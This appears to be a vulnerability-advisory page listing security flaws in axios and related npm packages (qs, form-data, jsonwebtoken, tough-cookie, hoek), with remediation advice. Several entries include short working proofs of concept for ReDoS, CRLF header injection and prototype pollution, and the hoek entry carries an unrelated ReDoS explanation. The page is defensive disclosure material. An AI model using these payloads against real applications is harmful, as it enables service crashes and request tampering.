Find, fix and prevent vulnerabilities in your code.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits.

Remediation

Upgrade axios to version 0.30.0, 1.12.0 or higher.

References

• GitHub Commit

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth and request processing on applications that rely on maxBodyLength to cap upload size, potentially exhausting resources and disrupting service.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to read and buffer more data than intended, potentially exhausting memory or stalling request processing.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the read function when attacker-controlled input is used as the cookie name parameter, which is interpolated into a regular expression without proper escaping. An attacker can cause excessive CPU consumption and freeze the browser tab by supplying specially crafted input that triggers catastrophic backtracking in the regex engine.

Note:

This is only exploitable if attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.

Workaround

This vulnerability can be mitigated by setting the XSRF cookie name configuration to null if XSRF protection is not required, avoiding the use of attacker-controlled input for the cookie name, and validating cookie names against a strict allowlist before passing them to the relevant function.

PoC

function vulnerableRead(name, cookie) {
  const start = Date.now();

  try {
    cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  } catch {}

  return Date.now() - start;
}

for (const n of [20, 22, 24, 26, 28]) {
  const cookie = 'x='.padEnd(n, 'a') + '!';
  console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.

PoC

const axios = require('axios');

console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');

console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');


/* stdout
t1: 60.826ms
t2: 5.826s
*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.29.0, 1.6.3 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy configurations, a request to localhost, 127.0.0.1, or ::1 can be routed differently depending on the no_proxy entry, allowing loopback traffic to bypass the intended proxy handling.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the defaultVisitor function of lib/helpers/toFormData.js, which calls JSON.stringify() on a value when its top-level key ends in {}, before the maxDepth guard can inspect the nested structure. An attacker can crash the process by supplying an object with a top-level key ending in {} and thousands of levels of nesting, which native JSON.stringify() recurses through until the call stack overflows with a RangeError. Exploitation requires the application to pass untrusted input through axios as data or params, with a top-level key ending in {} and nesting beyond roughly 2500 to 3000 levels.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42039.

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to CRLF Injection via the _multiPartHeader function when untrusted input is provided via field or filename to FormData#append. An attacker can inject additional headers or multipart parts by including carriage returns, line feeds, or double quotes in the input. This can allow the modification or addition of form fields visible to downstream parsers.

PoC

const FormData = require('form-data');
const form = new FormData();
form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com');
console.log(form.getBuffer().toString());

Remediation

Upgrade form-data to version 2.5.6, 3.0.5, 4.0.6 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Uncaught Exception in the isBuffer() function in lib/utils.js, which calls obj.constructor.isBuffer(obj) without checking that it is callable, reached from stringify() at lib/stringify.js:127. An attacker can throw an uncaught TypeError that fails each request with HTTP 500, and terminates the worker process when stringify() runs in an unguarded async context, by supplying a query string such as x[constructor][isBuffer]=y that sets constructor.isBuffer to a non-function value. This requires the application to call qs.parse() with plainObjects: true or allowPrototypes: true, which preserves the constructor own property, and to then pass the parsed result to qs.stringify().

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade qs to version 6.16.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm such that the library can be misconfigured to use legacy, insecure key types for signature verification. For example, DSA keys could be used with the RS256 algorithm.

Exploitability

Users are affected when using an algorithm and a key type other than the combinations mentioned below:

EC: ES256, ES384, ES512

RSA: RS256, RS384, RS512, PS256, PS384, PS512

RSA-PSS: PS256, PS384, PS512

And for Elliptic Curve algorithms:

ES256: prime256v1

ES384: secp384r1

ES512: secp521r1

Workaround

Users who are unable to upgrade to the fixed version can use the allowInvalidAsymmetricKeyTypes option to true in the sign() and verify() functions to continue usage of invalid key type/algorithm combination in 9.0.0 for legacy compatibility.

Remediation

Upgrade jsonwebtoken to version 9.0.0 or higher.

References

• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Information Exposure due to the handling of the Proxy-Authorization header across hosts. When using a dependent library, it only clears the authorization header during cross-domain redirects but allows the proxy-authentication header, which contains credentials, to persist. This behavior may lead to the unintended leakage of credentials if an attacker can trigger a cross-domain redirect and capture the persistent proxy-authentication header.

PoC

const axios = require('axios');

axios.get('http://127.0.0.1:10081/',{
headers: {
'AuThorization': 'Rear Test',
'ProXy-AuthoriZation': 'Rear Test',
'coOkie': 't=1'
}
}).then(function (response) {
console.log(response);
})

Remediation

Upgrade follow-redirects to version 1.15.6 or higher.

References

• GitHub Commit
• RedHat Bugzilla Bug

Overview

jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Improper Restriction of Security Token Assignment via the secretOrPublicKey argument due to misconfigurations of the key retrieval function jwt.verify(). Exploiting this vulnerability might result in incorrect verification of forged tokens when tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm.

Note: This vulnerability affects your application if it supports the usage of both symmetric and asymmetric keys in jwt.verify() implementation with the same key retrieval function.

Remediation

Upgrade jsonwebtoken to version 9.0.0 or higher.

References

• GitHub Commit
• GitHub Release

Overview

request is a simplified http request client.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.

Remediation

A fix was pushed into the master branch but not yet published.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.

PoC

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade tough-cookie to version 4.1.3 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Release

Overview

jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)

Affected versions of this package are vulnerable to Improper Authentication such that the lack of algorithm definition in the jwt.verify() function can lead to signature validation bypass due to defaulting to the none algorithm for signature verification.

Exploitability

Users are affected only if all of the following conditions are true for the jwt.verify() function:

1. A token with no signature is received.

2. No algorithms are specified.

3. A falsy (e.g., null, false, undefined) secret or key is passed.

Remediation

Upgrade jsonwebtoken to version 9.0.0 or higher.

References

• GitHub Commit
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling.

Notes: Standard axios request flow (buildURL) uses its own encode function, which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging. This lets a malicious page or library alter how responses are handled, including making 4xx and 5xx responses be treated as successful and bypassing normal error handling in applications that rely on Axios defaults.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via polluted Object.prototype properties in the merge process. An attacker can inject arbitrary HTTP headers into outbound requests or cause synchronous application crashes by manipulating upstream dependencies to pollute prototype attributes, leading to header injection or denial of service conditions.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution n the getMergedValue() function of lib/core/mergeConfig.js, which clones nested option objects such as auth and paramsSerializer into plain {} containers that inherit from Object.prototype, so downstream reads in lib/helpers/resolveConfig.js, lib/adapters/http.js, and lib/helpers/buildURL.js pick up polluted values without own-property checks. An attacker who can pollute Object.prototype can inject an Authorization: Basic header or fully override query-string serialization through paramsSerializer.serialize, enabling request tampering, cache poisoning, or signature-check bypass, on axios calls that pass placeholder nested objects like auth: {} or paramsSerializer: {}. Exploitation requires a separate component to have already polluted Object.prototype and the application to pass empty or partial nested option objects.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the bodyless method aliases in lib/core/Axios.js, the proxy handling in lib/adapters/http.js, and the paramsSerializer read in lib/helpers/resolveConfig.js, which read data, proxy, and paramsSerializer off the config without own-property checks, so polluted Object.prototype values are picked up. An attacker who can pollute Object.prototype can attach body data to a bodyless request such as axios.get(), route requests through an attacker-controlled proxy, or execute an attacker-supplied paramsSerializer during URL serialization, by setting Object.prototype.data, Object.prototype.proxy, or Object.prototype.paramsSerializer. Exploitation requires a separate component to have already polluted Object.prototype, commonly through a transitive dependency.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NO_PROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy.

Note:

This is only exploitable if the application relies on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

hoek is an Utility methods for the hapi ecosystem.

Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

PoC by Olivier Arteau (HoLyVieR)

var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

